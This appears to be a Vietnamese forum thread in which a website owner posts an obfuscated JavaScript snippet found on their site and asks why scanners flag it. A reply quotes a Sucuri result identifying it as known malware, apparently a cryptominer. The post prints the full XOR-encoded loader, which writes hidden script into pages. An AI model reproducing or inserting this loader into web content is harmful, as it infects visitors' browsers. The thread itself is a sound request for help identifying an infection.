Báo lỗi trên Website

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Mọi người cho mình hỏi tí, đoạn code này nó xuất hiện trên website mà mình ko biết bị gì mà 1 số phần mềm nó scan ra là virus

<script type="text/javascript">
var ab833f1="data:image/jpg;base64,0e326a67782e7d7a77626b332c7e617d677a676160342e6f6c7d61627b7a6b352e626b687a34233f3e3e2b352e7a617e343e2b352e79676a7a66343f3e3e2b352e666b6769667a343f3e3e2b352c3004327d6d7c677e7a3004687b606d7a6761602e51787c516d266527757c6b7a7b7c60266a616d7b636b607a206d616165676b20636f7a6d662629265072352e2729256525293326555035532427292772723e27553c537304687b606d7a6761602e51786d516d26606f636b22786f627b6b226a2775786f7c2e6a6f7a6b33606b792e4a6f7a6b2627356a6f7a6b207d6b7a5a67636b266a6f7a6b20696b7a5a67636b262725266a2436383a3e3e3e3e3e2727356a616d7b636b607a206d616165676b2e332e606f636b252c332c25786f627b6b252c352e6b767e677c6b7d332c256a6f7a6b207a6149435a5d7a7c6760692627252c352e7e6f7a6633212c357304687b606d7a6761602e51787a7d7a266d2278227a277567682651787c516d266d273333337b606a6b6867606b6a277551786d516d266d2278227a27352e67682651787c516d266d27333378276768267967606a61792062616d6f7a6761602066617d7a606f636b207d7e62677a2629202927207e617e2627207d6b6f7c6d6626216b6a7b72696178726367622127323e277c6b7a7b7c602e7a7c7b6b35737c6b7a7b7c602e686f627d6b3573047a7c777504786f7c2e51787b517b332c683b683d3e3b3c686b3c3f3e3c3a686d3b3c3d3d363d3837383a6f683d6c6c3a2c222e51787b5167332c6c363d3d683f6f36686c3f363d686a3d363c38366d3d6f3f6f3b6f683f3e366a2c35046768266a616d7b636b607a207c6b686b7c7c6b7c2775046768266a616d7b636b607a207c6b686b7c7c6b7c20636f7a6d662621345221522126205550215325272127553f532e2f332e7967606a61792062616d6f7a67616020667c6b6820636f7a6d662621345221522126205550215325272127553f53277504676826606f7867696f7a617c206f7e7e586b7c7d6761602067606a6b764168262c5967602c273333233f277567682651787a7d7a2651787b517b252c513f2c2251787b5167223f3a27272e752e7967606a61792062616d6f7a67616020667c6b68332c667a7a7e3421216a6778236d626f7d7d236d61607a6f67606b7c207c7b2167606a6b763b207e667e2c352e73736b627d6b7504676826606f7867696f7a617c206f7e7e586b7c7d6761602067606a6b764168262c4d667c61636b2c27303e2e72722e606f7867696f7a617c207b7d6b7c4f696b607a2067606a6b764168262c48677c6b6861762c27303e277504786f7c2e51787b513d3351787c516d2651787b517b252c513d2c273567682651787a7d7a2651787b517b252c513c2c2251787b5167223f3a272e72722e51787b513d2e302e3e277567682651787b513d3333337b606a6b6867606b6a277551787b513d333d35736b627d6b7551787b513d232335730451786d516d2651787b517b252c513d2c2251787b513d223e203e3f273567682651787b513d3333333e2751786d516d2651787b517b252c513d2c222c2c22233f27356a616d7b636b607a20797c677a6b262c327d6d7c2c252c677e7a2e7a777e6b33297a6b767a21646f782c252c6f7d6d7c677e7a292e7d7c6d3329667a7a7e3421216c6361616d20606b7a21797e236d61607a6b607a217d6b7c78676d6b216d6f7a207e667e31633368293032217d6d7c2c252c677e7a302c273504737373737304736867606f62627775730432217d6d7c677e7a300432216a67783004==";
for (var i=24; i<ab833f1.length-2; i+=2) 
document.write(String.fromCharCode(parseInt(ab833f1***91;i***93;+""+ab833f1***91;i+1***93;,16)^parseInt(ab833f1***91;22***93;+""+ab833f1***91;23***93;,16)));</script>    <script>(function(d, s, id) {
      var js, fjs = d.getElementsByTagName(s)***91;0***93;;
      if (d.getElementById(id)) return;
      js = d.createElement(s); js.id = id;
      js.src = "//connect.facebook.net/vi_VN/sdk.js#xfbml=1&version=v2.5";
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));</script> 

***91;QUOTE***93;***91;/QUOTE***93; 

Known javascript malware. Details: http://sucuri.net/malware/entry/MW:J....cryptominer.1 document.write(String.fromCharCode(parseInt(ab833f 1[i]+""+ab833f1[i+1],16)^parseInt(ab833f1[22]+""+ab833f1[23],16)));</script> <script>(function(d, s, id) {